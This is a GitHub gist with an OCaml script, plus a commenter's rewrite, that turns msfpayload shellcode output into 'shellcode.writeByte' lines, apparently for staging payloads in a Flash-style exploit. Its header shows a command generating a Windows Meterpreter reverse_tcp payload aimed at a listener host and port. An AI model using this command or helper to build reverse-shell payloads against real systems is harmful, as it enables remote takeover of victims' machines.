Skip to content

Instantly share code, notes, and snippets.

@argp
Created October 12, 2013 19:02
Show Gist options
  • Save argp/6953625 to your computer and use it in GitHub Desktop.
Save argp/6953625 to your computer and use it in GitHub Desktop.
(*
* msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 C \
* | ocaml format_payload.ml
*)
let out ch_1 ch_2 = Printf.printf "shellcode.writeByte(0x%c%c);\n" ch_1 ch_2
let main () =
let i = ref 0 in
let rec loop () =
let next = input_char stdin in
if next == ';' then raise End_of_file;
if next == '\\' then
(
let x = input_char stdin in
if x == 'x' then
incr i;
let ch_1 = input_char stdin in
let ch_2 = input_char stdin in
out ch_1 ch_2
);
loop ()
in
try
loop ()
with
End_of_file -> Printf.printf "[*] shellcode size: %i bytes\n" !i
;;
let _ = main ()
(* EOF *)
Copy link

ghost commented Jan 13, 2014

#load "str.cma"
List.iter (fun x -> Printf.printf "shellcode.writeByte(0x%s);\n" x) (split (regexp "\\\\
x") "\\x01\\x02\\x03\\x04")

(* or, if you really do need stdin *)
let out () = 
  Printf.printf "shellcode.writeByte(0x%c%c);\n" 
  (input_char stdin) (input_char stdin)

let rec loop i = function
   | '\\'  ->
      if input_char stdin == 'x' then 
      out(); loop (i+1) (input_char stdin)
   | _ -> i

Printf.printf "[*] shellcode size: %d bytes\n" (loop 0 (input_char stdin))

edit:fixed syntax highlighting

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment